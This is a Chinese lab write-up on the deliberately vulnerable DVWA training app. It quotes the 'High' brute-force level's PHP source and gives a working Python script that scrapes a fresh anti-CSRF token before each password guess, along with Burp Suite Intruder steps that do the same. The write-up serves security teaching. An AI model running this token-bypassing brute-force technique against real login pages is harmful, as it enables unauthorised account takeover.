zoukankan      html  css  js  c++  java
  • DVWA-1.3 Brute Force(暴力破解)-High-绕过token

    High Level

    查看源码

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Check database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            $html .= "<p>Welcome to the password protected area {$user}</p>";
            $html .= "<img src="{$avatar}" />";
        }
        else {
            // Login failed
            sleep( rand( 0, 3 ) );
            $html .= "<pre><br />Username and/or password incorrect.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    high.php

    我们发现

    (1)代码加入了token,可以抵御CSRF攻击,同时也增加了爆破的难度。通过抓包,可以看到,登录验证时提交了四个参数:username、password、Login以及user_token。

    每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。

    (2)源码使用了stripslashes()、 mysql_real_escape_string()对参数username、password进行过滤、转义,进一步抵御sql注入。

    ★stripslashes()

    去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个。

    mysql_real_escape_string()

    函数转义 SQL 语句中使用的字符串中的特殊字符。

    下列字符受影响:

      • x00
      • '
      • "
      • x1a

    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

    (3)错误页面使用了sleep( rand( 0, 3 ) );,也就是说当我们输入错误的用户名或密码时,会随机等待0-3秒后才显示错误信息。降低了暴力破解的效率。

    漏洞利用

    针对这样的情况,我们能不能攻破呢?答案是肯定的,我们需要重新设计破解动作:

    破解动作:访问首页——获得user_token参数——发送带user_token的登录数据包

    方法一 python脚本

    # Author:Zheng Na
    import requests,re
    
    url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
    headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}
    
    flag = False
    
    f1 = open("username.txt", 'r')
    for line1 in f1:
        username = line1.strip()
    
        f2 = open("password.txt", 'r')
        for line2 in f2:
            # 访问首页
            response1 = requests.get(url,headers=headers)
            # 获取user_token
            user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",response1.text)[0]
            # 发送登录数据包
            password = line2.strip()
            params = {'username': username, 'password': password, 'Login': 'login','user_token':user_token}
            response2 = requests.get(url, params=params, headers=headers)
            if "Username and/or password incorrect." in response2.text:
                print("username:%s,password:%s,user_token:%s----wrong account!" % (username, password, user_token))
            else:
                print("33[31;1musername:%s,password:%s,user_token:%s----right account!33[0m" % (username, password, user_token))
                flag = True
                break
        if flag == True:
            break
        f2.close()
    f1.close()

    结果

    PS:由于本关每次尝试密码时,都需要附带上一个请求返回的token,因此本关不能使用多线程脚本,否则无法验证token。

    另外,写Python脚本时,除了使用re模块正则表达式匹配token外,还可以使用以下2种方法。

    使用PyQuery方法

    # Author:Zheng Na
    import requests
    from pyquery import PyQuery
    
    url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
    headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}
    
    # 访问首页
    response1 = requests.get(url, headers=headers)
    # 获取user_token
    pq=PyQuery(response1.text)
    user_token = pq("input[name=user_token]").val()
    print(user_token) #返回:fbe4b1539c50640a96bca639d09f42c4

    使用BeautifulSoup方法

    # Author:Zheng Na
    import requests
    from bs4 import BeautifulSoup
    
    url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
    headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}
    
    # 访问首页
    response1 = requests.get(url, headers=headers)
    # 获取user_token
    soup = BeautifulSoup(response1.text,"xml")
    user_token = soup.find_all('input')[3]["value"] 
    print(user_token) #返回:fdccfe30e48a860eb62d19d6bae1e8fb

    方法二 burpsuite爆破

    步骤

    1.抓包,发送到Intruder模块

    2.选择Pitchfork(草叉模式),添加爆破的参数

    3.在Options中找到Request Engine模块,把线程数设为1

     

    4.在Options中找到Rediections模块,选择always,允许重定向

    5.在Options中找到Grep-Extract模块,点击Add,并设置筛选条件,得到user_token

    6.在Payloads中为选择的参数设置字典

     

     

     

    7.点击start attack,开始爆破

    根据返回长度的大小,可以得到正确的用户密码

    参考:

    https://www.cnblogs.com/bmjoker/p/9096225.html

    https://www.freebuf.com/articles/web/116437.html

  • 相关阅读:
    ios开源项目2
    Cocoa 框架 For iOS(一) 框架的介绍
    iPhone开源项目大全
    8款iOS的日历开源代码
    二维码扫描工具和开发包 ZBar
    图文解释XCode常用快捷键的使用
    常用的iOS高效开源类库
    static_cast
    [转]SecureCRT rz 上传文件失败问题
    Linux中的EAGAIN含义
  • 原文地址:https://www.cnblogs.com/zhengna/p/12703113.html
Copyright © 2011-2022 走看看